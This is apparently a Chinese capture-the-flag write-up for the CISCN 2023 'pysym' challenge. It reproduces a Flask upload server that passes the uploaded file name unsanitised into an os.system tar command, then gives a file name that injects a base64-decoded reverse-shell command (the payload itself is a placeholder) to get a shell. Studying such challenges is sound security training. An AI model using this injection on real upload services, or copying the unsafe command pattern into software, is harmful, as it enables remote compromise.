0%

[CISCN 2023 华北]pysym

[CISCN 2023 华北]pysym

题目链接:[CISCN 2023 华北]pysym | NSSCTF

a3d88efb-ffaa-41ad-9597-14a025fafef7

看一下题目环境,是文件上传,下载源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from flask import Flask, render_template, request, send_from_directory
import os
import random
import string
app = Flask(__name__)
app.config['UPLOAD_FOLDER']='uploads'
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/',methods=['POST'])
def POST():
if 'file' not in request.files:
return 'No file uploaded.'
file = request.files['file']
if file.content_length > 10240:
return 'file too lager'
path = ''.join(random.choices(string.hexdigits, k=16))
directory = os.path.join(app.config['UPLOAD_FOLDER'], path)
os.makedirs(directory, mode=0o755, exist_ok=True)
savepath=os.path.join(directory, file.filename)
file.save(savepath)
try:
os.system('tar --absolute-names -xvf {} -C {}'.format(savepath,directory))
except:
return 'something wrong in extracting'

links = []
for root, dirs, files in os.walk(directory):
for name in files:
extractedfile =os.path.join(root, name)
if os.path.islink(extractedfile):
os.remove(extractedfile)
return 'no symlink'
if os.path.isdir(path) :
return 'no directory'
links.append(extractedfile)
return render_template('index.html',links=links)
@app.route("/uploads/<path:path>",methods=['GET'])
def download(path):
filepath = os.path.join(app.config['UPLOAD_FOLDER'], path)
if not os.path.isfile(filepath):
return '404', 404
return send_from_directory(app.config['UPLOAD_FOLDER'], path)
if __name__ == '__main__':
app.run(host='0.0.0.0',port=1337)

python的后端,没有waf,好像没有什么可以利用的点,但是注意到,这里执行了tar系统命令

并且文件名是直接拼接进去的,我们的文件名是可控的,那么就可以采取拼接命令的方式任意命令执行

1
os.system('tar --absolute-names  -xvf {} -C {}'.format(savepath,directory))

任意上传文件,文件名改成

1
test.tar || echo <YOUR_REVERSE_SHELL_PAYLOAD> | base64 -d | bash ||

这样就可以注入系统命令

监听端口,即可getshell